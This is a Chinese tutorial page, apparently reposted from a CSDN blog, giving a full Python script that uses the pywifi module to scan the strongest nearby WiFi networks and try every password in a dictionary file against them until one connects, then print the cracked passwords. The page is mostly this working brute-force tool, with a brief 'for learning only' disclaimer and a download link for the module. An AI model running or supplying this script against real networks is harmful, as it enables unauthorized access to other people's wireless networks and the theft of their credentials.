您的位置:首页 > 脚本大全 > > 正文

python生成密码字典教程(Python利用字典破解WIFI密码的方法)

更多 时间:2022-01-18 01:05:50 类别:脚本大全 浏览量:2520

python生成密码字典教程

Python利用字典破解WIFI密码的方法

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • import pywifi
  • from pywifi import const #引用一些定义
  • import time
  • namelist = []
  • ssidlist = []
  • result = [] #存放查询到的WIFI,密码
  • wificount=5 #查询附近信号最强的5个WIFI,最多5个
  • def getwifi():
  •   wifi=pywifi.PyWiFi()#抓取网卡接口
  •   ifaces=wifi.interfaces()[0]#获取网卡
  •   ifaces.scan()
  •   time.sleep(8)
  •   bessis = ifaces.scan_results()
  •   list = [] 
  •   for data in bessis:
  •     if(data.ssid not in namelist): #去掉重复的WIFI名称
  •       namelist.append(data.ssid)
  •       list.append((data.ssid, data.signal)) 
  •   sorted(list, key=lambda st: st[1], reverse=True)
  •   time.sleep(1)
  •   n=0
  •   if len(list) is not 0:
  •     for item in list:
  •       if(item[0] not in ssidlist):
  •         n=n+1
  •         if n<=wificount:
  •           ssidlist.append(item[0])
  •   print(ssidlist)
  • def testwifi(ssidname,password):
  •   wifi=pywifi.PyWiFi()#抓取网卡接口
  •   ifaces=wifi.interfaces()[0]#获取网卡
  •   ifaces.disconnect()#断开无限网卡连接
  •   profile=pywifi.Profile()#创建wifi连接文件
  •   profile.ssid=ssidname#定义wifissid
  •   profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  •   profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  •   profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  •   profile.key=password #wifi密码
  •   ifaces.remove_all_network_profiles()#删除其他所有配置文件
  •   tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  •   ifaces.connect(tmp_profile)#连接wifi
  •   time.sleep(5)#5秒内能否连接上
  •   if ifaces.status()==const.IFACE_CONNECTED:  
  •     return True   
  •   else:
  •     #print("[-]WiFi connection failure!")
  •     return False
  •   #ifaces.disconnect()#断开连接
  •   #time.sleep(1)
  •   return True
  • def main():
  •   getwifi()
  •   #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  •   if(len(ssidlist) is not 0):
  •     path=r"password.txt"
  •     files=open(path,'r')
  •     while True:
  •         if(len(ssidlist) is 0):
  •           break
  •         try:
  •           password =files.readline()
  •           password=password.strip('\n')
  •           if not password:
  •             break
  •           for item in result: #把已经找到密码的WIFI从查询中删除。
  •             ssidlist.remove(item[0])
  •           for ssidname in ssidlist:          
  •             if(testwifi(ssidname,password)==True):
  •               result.append((ssidname,password)) #把找到的WIFI密码保存起来
  •               print('Succ','Current WifiName:',ssidname,'Current Password:',password)
  •             else:
  •               print('Fail','Current WifiName:',ssidname,'Current Password:',password)
  •         except:
  •           continue
  •     files.close()
  •     print("\n","WIFI结果列表:")
  •     for item in result: #把已经找到密码的WIFI从查询中删除。
  •       print("")
  •       print("无线:",item[0])
  •       print("密码:",item[1])
  •   else:
  •     print("没有找到WIFI信号,请重试。")
  • if __name__ == '__main__':
  •   main()
  • 总结

    以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对开心学习网的支持。如果你想了解更多相关内容请查看下面相关链接

    原文链接:https://blog.csdn.net/wujinmei/article/details/81288212